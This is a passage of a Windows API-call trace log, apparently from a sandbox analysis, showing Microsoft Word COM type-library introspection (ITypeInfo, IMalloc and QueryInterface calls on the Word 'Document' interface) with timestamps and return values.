ppFuncDesc=0x126250, pDummy=0xa0 | out: ppFuncDesc=0x126250, pDummy=0xa0) returned 0x0 [0053.510] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.510] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0xc, ppFuncDesc=0x126250, pDummy=0xa0 | out: ppFuncDesc=0x126250, pDummy=0xa0) returned 0x0 [0053.510] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.510] ITypeInfo:LocalReleaseTypeAttr (This=0x6856a50) returned 0x0 [0053.510] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856a50, ppTypeAttr=0x126258, pDummy=0x126294 | out: ppTypeAttr=0x126258, pDummy=0x126294*=0xffffffff) returned 0x0 [0053.510] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x0, ppFuncDesc=0x126250, pDummy=0xa0 | out: ppFuncDesc=0x126250, pDummy=0xa0) returned 0x0 [0053.510] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.510] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x1, ppFuncDesc=0x126250, pDummy=0xc0 | out: ppFuncDesc=0x126250, pDummy=0xc0) returned 0x0 [0053.510] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.510] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x2, ppFuncDesc=0x126250, pDummy=0xc0 | out: ppFuncDesc=0x126250, pDummy=0xc0) returned 0x0 [0053.510] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.510] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x3, ppFuncDesc=0x126250, pDummy=0xc0 | out: ppFuncDesc=0x126250, pDummy=0xc0) returned 0x0 [0053.510] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.510] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x4, ppFuncDesc=0x126250, pDummy=0xc0 | out: ppFuncDesc=0x126250, pDummy=0xc0) returned 0x0 [0053.510] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.510] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x5, ppFuncDesc=0x126250, pDummy=0xc0 | out: ppFuncDesc=0x126250, pDummy=0xc0) returned 0x0 [0053.510] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.510] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x6, ppFuncDesc=0x126250, pDummy=0xc0 | out: ppFuncDesc=0x126250, pDummy=0xc0) returned 0x0 [0053.510] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.510] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x7, ppFuncDesc=0x126250, pDummy=0xc0 | out: ppFuncDesc=0x126250, pDummy=0xc0) returned 0x0 [0053.510] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.510] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x8, ppFuncDesc=0x126250, pDummy=0xc0 | out: ppFuncDesc=0x126250, pDummy=0xc0) returned 0x0 [0053.510] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.510] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x9, ppFuncDesc=0x126250, pDummy=0xc0 | out: ppFuncDesc=0x126250, pDummy=0xc0) returned 0x0 [0053.510] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.510] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0xa, ppFuncDesc=0x126250, pDummy=0xc0 | out: ppFuncDesc=0x126250, pDummy=0xc0) returned 0x0 [0053.510] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.510] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0xb, ppFuncDesc=0x126250, pDummy=0xc0 | out: ppFuncDesc=0x126250, pDummy=0xc0) returned 0x0 [0053.510] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.510] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0xc, ppFuncDesc=0x126250, pDummy=0xc0 | out: ppFuncDesc=0x126250, pDummy=0xc0) returned 0x0 [0053.510] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.510] ITypeInfo:LocalReleaseTypeAttr (This=0x6856a50) returned 0x0 [0053.510] IUnknown:Release (This=0x6856a50) returned 0x3 [0053.510] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0x6a2c930 [0053.510] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0x6a2c8d0 [0053.511] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0x6a2c6b0 [0053.511] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125b68 | out: ppvObject=0x125b68*=0x0) returned 0x80004002 [0053.511] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856a50, ppTypeAttr=0x125b60, pDummy=0x10 | out: ppTypeAttr=0x125b60, pDummy=0x10) returned 0x0 [0053.511] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125ad8 | out: ppvObject=0x125ad8*=0x0) returned 0x80004002 [0053.511] IUnknown:AddRef (This=0x6856a50) returned 0x4 [0053.511] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856a50, ppTypeAttr=0x125ad0, pDummy=0x10 | out: ppTypeAttr=0x125ad0, pDummy=0x10) returned 0x0 [0053.511] ITypeInfo:LocalReleaseTypeAttr (This=0x6856a50) returned 0x0 [0053.511] IUnknown:Release (This=0x6856a50) returned 0x3 [0053.511] strcpy_s (in: _Dst=0x6900d78, _DstSize=0x9, _Src="Document" | out: _Dst="Document") returned 0x0 [0053.511] IMalloc:Alloc (This=0x7feffc15380, cb=0xc8) returned 0x69a4ec0 [0053.511] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856a50, ppTypeAttr=0x125a90, pDummy=0x6856a50 | out: ppTypeAttr=0x125a90, pDummy=0x6856a50*=0xffe207b0) returned 0x0 [0053.511] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x6856a50, ppTLib=0x125a98, pIndex=0x125ad8 | out: ppTLib=0x125a98*=0x677a9f0, pIndex=0x125ad8*=0x20e) returned 0x0 [0053.512] ITypeLib:RemoteGetLibAttr (in: This=0x677a9f0, ppTLibAttr=0x125788, pDummy=0x0 | out: ppTLibAttr=0x125788, pDummy=0x0) returned 0x0 [0053.512] ITypeLib:RemoteGetDocumentation (in: This=0x677a9f0, index=-1, refPtrFlags=0x1257a0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x68 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x68) returned 0x0 [0053.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchWideChar=58, lpMultiByteStr=0x125810, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB³w", lpUsedDefaultChar=0x0) returned 58 [0053.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0x125920, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0053.512] ITypeLib:LocalReleaseTLibAttr (This=0x677a9f0) returned 0x0 [0053.512] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0x4080390 [0053.512] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x6a99020 [0053.512] IUnknown:AddRef (This=0x6856a50) returned 0x4 [0053.512] IUnknown:Release (This=0x677a9f0) returned 0xb [0053.512] ITypeInfo:LocalReleaseTypeAttr (This=0x6856a50) returned 0x0 [0053.512] ITypeInfo:LocalReleaseTypeAttr (This=0x6856a50) returned 0x0 [0053.512] IUnknown:Release (This=0x68568f0) returned 0x1 [0053.512] IMalloc:Alloc (This=0x7feffc15380, cb=0x14) returned 0x6a2c890 [0053.512] IUnknown:Release (This=0x68568f0) returned 0x1 [0053.512] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0x40807e0 [0053.512] IMalloc:Free (This=0x7feffc15380, pv=0x6a2c890) [0053.512] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b340f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x127348 | out: ppvObject=0x127348*=0x68568f0) returned 0x0 [0053.513] ITypeInfo2:GetCustData (in: This=0x68568f0, GUID=0x7fee4b3d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x127358 | out: pVarVal=0x127358*(varType=0x0, wReserved1=0x12, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0053.513] IUnknown:Release (This=0x68568f0) returned 0x2 [0053.513] ITypeInfo:RemoteGetDocumentation (in: This=0x68568f0, memid=-1, refPtrFlags=0x127350, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x127370 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x127370*="") returned 0x0 [0053.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x127260, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0053.513] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0053.513] ITypeInfo:RemoteGetTypeAttr (in: This=0x68569a0, ppTypeAttr=0x127350, pDummy=0x0 | out: ppTypeAttr=0x127350, pDummy=0x0) returned 0x0 [0053.513] ITypeInfo:LocalReleaseTypeAttr (This=0x68569a0) returned 0x0 [0053.513] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x0, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.513] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.513] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.513] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.513] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.513] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.513] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.513] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.513] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.513] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.513] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.513] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.513] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.513] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.513] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.513] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.513] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.513] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.513] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.513] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.513] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.513] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.513] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.513] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.513] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.513] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.513] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.513] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.513] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.513] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.513] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.513] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.513] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x10, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.513] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.513] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x11, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.513] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.513] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x12, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.513] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.513] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x13, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.513] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x14, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x15, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x16, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x17, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x18, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x19, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1a, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1b, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1c, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1d, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1e, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1f, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x20, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x21, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x22, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x23, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x24, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x25, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x26, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x27, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x28, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x29, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2a, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2b, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.514] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.514] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2c, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2d, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2e, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2f, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x30, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x31, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x32, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x33, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x34, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x35, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x36, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x37, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x38, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x39, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3a, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3b, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3c, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3d, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3e, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3f, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x40, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 